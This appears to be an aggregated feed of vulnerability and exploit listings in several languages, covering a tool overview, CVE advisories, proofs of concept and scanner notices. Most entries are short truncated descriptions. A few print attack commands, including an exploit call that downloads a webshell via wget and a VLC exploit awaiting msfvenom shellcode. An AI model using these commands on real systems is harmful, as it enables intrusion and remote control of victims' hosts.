Nemesis

概要 Nemesisは、オープンソースの集中型データ処理プラットフォームであり、攻撃セキュリティ評価中に収集されたファイルを取り込み、エンリッチメントし、人間とAIによる共同分析を可能にします。 Nemesis 2.0はDocker上に構築され、Daprとの強力な統合を備えています。Nemesisの目標は、「攻撃的VirusTotal」として機能する集中型ファイル処理プラットフォームを作成することでした。 注: 以前のNemesis 1.0.1コードベースはブランチとして保存されています セットアップ / インストール クイックスタートガイドに従ってください。 使い方 Nemesis...

CVE-2021-22204

影響を受けるバージョン 7.44 12.23 再現手順 root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg スクリーンショット 参照 NVD-CVE-2021-22204...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE および外部リソースのロード脆弱性、発見者 @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 エクスプロイト カレントディレクトリにウェブシェルをドロップするためのサンプルです。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output...

Weaver OA 9.5 - Information Disclosure

A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely. id:...

Microsoft Security Advisory CVE-2026-69522 – .NET and Visual Studio Remote Code Execution Vulnerability

Microsoft Security Advisory CVE-2026-69522 – .NET and Visual Studio Remote Code Execution Vulnerability Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.DiaSymReader.Native. This advisory also provides guidance on what...

Microsoft Security Advisory CVE-2026-71328 – .NET and Visual Studio Remote Code Execution Vulnerability

Microsoft Security Advisory CVE-2026-71328 – .NET and Visual Studio Remote Code Execution Vulnerability Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.DiaSymReader.Native. This advisory also provides guidance on what...

CVE-2008-4654

CVE-2008-4654 针对VideoLan的VLC Media Player 0.9.4在处理TiVo文件时出现的栈缓冲区溢出漏洞CVE-2008-4654的功能完整的利用程序。它针对运行在64位Windows系统上的32位二进制文件，并使用WOW64 egghunter来绕过有限的栈空间。 使用方法 更新脚本 ： 将脚本中的占位符 buf = b'...' 替换为你自己的shellcode（例如，来自 msfvenom）。 如果需要不同的标签或自定义egghunter，可酌情调整 EGGHUNTERWOW64 shellcode。 root@kitploit: python...

CVE-2024-38077-check

漏洞分析异步pdf文件。本人能力有限，还无法rce。请大佬指教。 漏洞验证只需要更改ip即可 root@kitploit: if name == 'main': printlogo connecttolicenseserver"192.168.6.132"...

CVE-2025-69212

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述...

CVE-2025-69212-PoC

CVE-2025-69212 OpenSTAManager = 2.9.8 — Inyección de Comandos del Sistema Operativo en el Procesamiento de Archivos P7M Resumen...

CVE-2025-43300

📚 CVE-2025-43300 - 脆弱性の詳細分析 🎯 概要 CVE-2025-43300 は、DNG Digital Negative ファイルの処理におけるバッファオーバーフロー の脆弱性であり、TIFF メタデータと JPEG データの不一致 によって発生し、リモートコード実行 RCE を可能にします。 🔍 1. DNGファイルの構造 階層構造: root@kitploit: DNG File ├── TIFF Container metadados │ ├── Header │ ├── IFD Image File Directory │ │ ├── Tag 277:...

CVE-2026-19303 Langflow is vulnerable to arbitrary file write and arbitrary file deletion due to unvalidated paths in file-processing components

IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to delete arbitrary local files or directories due to improper limitation of a pathname to a restricted directory...

CVE-2026-38344

A flaw was found in FFmpeg. This vulnerability involves a NULL pointer dereference within the getminbuffersize function when processing specially crafted video files. An attacker could exploit this by providing a malicious video file, leading to a Denial of Service DoS. A Denial of Service attack...

CVE-2026-68515

OpenEXR is the reference implementation for the EXR image format used in the motion picture industry. A heap out-of-bounds write exists in the exrmultiview utility when combining two attacker-supplied, individually valid scanline EXR files whose union dataWindow is not aligned to one view's chann...

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

MiracleLinux 9 : java-17-openjdk-17.0.20.0.8-1.2.el9.ML.1 (AXSA:2026-1630:13)

The remote MiracleLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1630:13 advisory. JDK: Enhance TLS certificate handling CVE-2026-46968 JDK: Improve DTLS handshaking CVE-2026-46917 JDK: Enhance JPEG handling CVE-2026-47010 JDK:...

CVE-2026-20679

CVE-2026-20679 is a vulnerability in the CoreUI framework on macOS. Processing a maliciously crafted file may lead to unexpected app termination (denial of service). The root cause is not further specified beyond "improved checks" being applied as the fix. The issue was reported by Mustafa Calap ...

PT-2026-79271

The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Processing a maliciously crafted file may lead to unexpected app termination...

Exploit for OS Command Injection in Devcode Openstamanager

OpenSTA-Exploit --- About CVE-2025-...

CVE-2026-19026

A flaw was found in HDF5. A remote attacker could craft a malicious HDF5 file that, when opened and read, would cause an application using the HDF5 library to crash. This issue stems from improper validation of input data within the N-Bit filter, leading to a denial of service DoS and impacting t...